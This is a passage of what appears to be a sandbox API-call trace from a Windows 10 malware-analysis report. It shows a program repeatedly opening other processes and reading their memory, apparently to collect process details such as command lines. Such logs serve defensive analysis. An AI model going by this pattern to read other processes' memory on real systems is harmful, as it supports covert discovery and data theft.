out: _Buffer="3176") returned 4 [0346.865] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.865] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.866] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc68) returned 0xa9c [0346.866] GetLastError () returned 0x0 [0346.866] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.866] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x297018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.866] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.866] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552510, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.866] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552198, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.867] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.867] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.867] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x297020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.867] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551b50, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.867] malloc (_Size=0x5a) returned 0xeb6380 [0346.867] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5521d8, lpBuffer=0xeb6380, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0346.868] free (_Block=0xeb6380) [0346.868] CloseHandle (hObject=0xa9c) returned 1 [0346.878] _ui64tow_s (in: _Value=0x1260, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4704") returned 0x0 [0346.878] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4704") returned 4 [0346.878] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.878] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.879] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1260) returned 0xa9c [0346.879] GetLastError () returned 0x0 [0346.879] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.879] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.879] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.880] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.880] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.880] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.880] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.880] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.880] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.881] malloc (_Size=0x64) returned 0xeb65b0 [0346.881] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb65b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0346.882] free (_Block=0xeb65b0) [0346.882] CloseHandle (hObject=0xa9c) returned 1 [0346.882] _ui64tow_s (in: _Value=0xc6c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3180") returned 0x0 [0346.882] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3180") returned 4 [0346.883] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.883] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.884] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc6c) returned 0xa9c [0346.884] GetLastError () returned 0x0 [0346.884] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.884] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e0018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.884] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.884] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a2470, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.884] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a2118, lpBuffer=0x5ec5a0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.884] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.885] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.885] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e0020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.885] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.885] malloc (_Size=0x2c) returned 0xe722b0 [0346.885] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a215c, lpBuffer=0xe722b0, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe722b0*, lpNumberOfBytesRead=0x0) returned 1 [0346.886] free (_Block=0xe722b0) [0346.886] CloseHandle (hObject=0xa9c) returned 1 [0346.886] _ui64tow_s (in: _Value=0x16b8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5816") returned 0x0 [0346.886] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5816") returned 4 [0346.886] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.886] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.887] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16b8) returned 0xa9c [0346.887] GetLastError () returned 0x0 [0346.887] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.888] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.888] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.888] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4525a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.888] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x452230, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.888] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.888] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.888] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.889] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x451be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.889] malloc (_Size=0x52) returned 0xeaa110 [0346.889] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x452270, lpBuffer=0xeaa110, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa110*, lpNumberOfBytesRead=0x0) returned 1 [0346.890] free (_Block=0xeaa110) [0346.890] CloseHandle (hObject=0xa9c) returned 1 [0346.890] _ui64tow_s (in: _Value=0x134c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4940") returned 0x0 [0346.890] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4940") returned 4 [0346.890] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.890] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.891] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x134c) returned 0x0 [0346.891] CloseHandle (hObject=0x0) returned 0 [0346.891] _ui64tow_s (in: _Value=0xee8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3816") returned 0x0 [0346.892] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3816") returned 4 [0346.892] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.892] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.893] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee8) returned 0xa9c [0346.893] GetLastError () returned 0x0 [0346.893] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.893] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.893] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.893] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5724e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.894] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.894] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.894] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.894] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.894] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.894] malloc (_Size=0x76) returned 0xea8e20 [0346.894] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572164, lpBuffer=0xea8e20, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8e20*, lpNumberOfBytesRead=0x0) returned 1 [0346.895] free (_Block=0xea8e20) [0346.895] CloseHandle (hObject=0xa9c) returned 1 [0346.895] _ui64tow_s (in: _Value=0x44c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1100") returned 0x0 [0346.896] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1100") returned 4 [0346.896] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.896] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.897] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x44c) returned 0xa9c [0346.897] GetLastError () returned 0x0 [0346.897] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.897] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.897] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.897] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4724b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.897] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472118, lpBuffer=0x5ec5a0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.898] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.898] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.898] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.898] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.898] malloc (_Size=0x52) returned 0xeaa1d0 [0346.898] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472168, lpBuffer=0xeaa1d0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa1d0*, lpNumberOfBytesRead=0x0) returned 1 [0346.899] free (_Block=0xeaa1d0) [0346.899] CloseHandle (hObject=0xa9c) returned 1 [0346.900] _ui64tow_s (in: _Value=0x370, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="880") returned 0x0 [0346.900] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="880") returned 3 [0346.900] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.900] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.901] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x370) returned 0xa9c [0346.901] GetLastError () returned 0x0 [0346.901] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.901] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.901] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.901] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5924f0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.901] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592118, lpBuffer=0x5ec5a0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.902] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.902] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.902] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.902] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x591ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.902] malloc (_Size=0x68) returned 0xeb61c0 [0346.902] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592168, lpBuffer=0xeb61c0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb61c0*, lpNumberOfBytesRead=0x0) returned 1 [0346.903] free (_Block=0xeb61c0) [0346.904] CloseHandle (hObject=0xa9c) returned 1 [0346.904] _ui64tow_s (in: _Value=0x10b8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4280") returned 0x0 [0346.904] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4280") returned 4 [0346.904] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.904] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.905] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b8) returned 0xa9c [0346.905] GetLastError () returned 0x0 [0346.905] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.905] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2d4018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.905] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.905] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5426a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.906] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x542278, lpBuffer=0x5ec5a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.906] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.906] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.906] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2d4020, lpBuffer=0x5ec330, nSize=0x8, 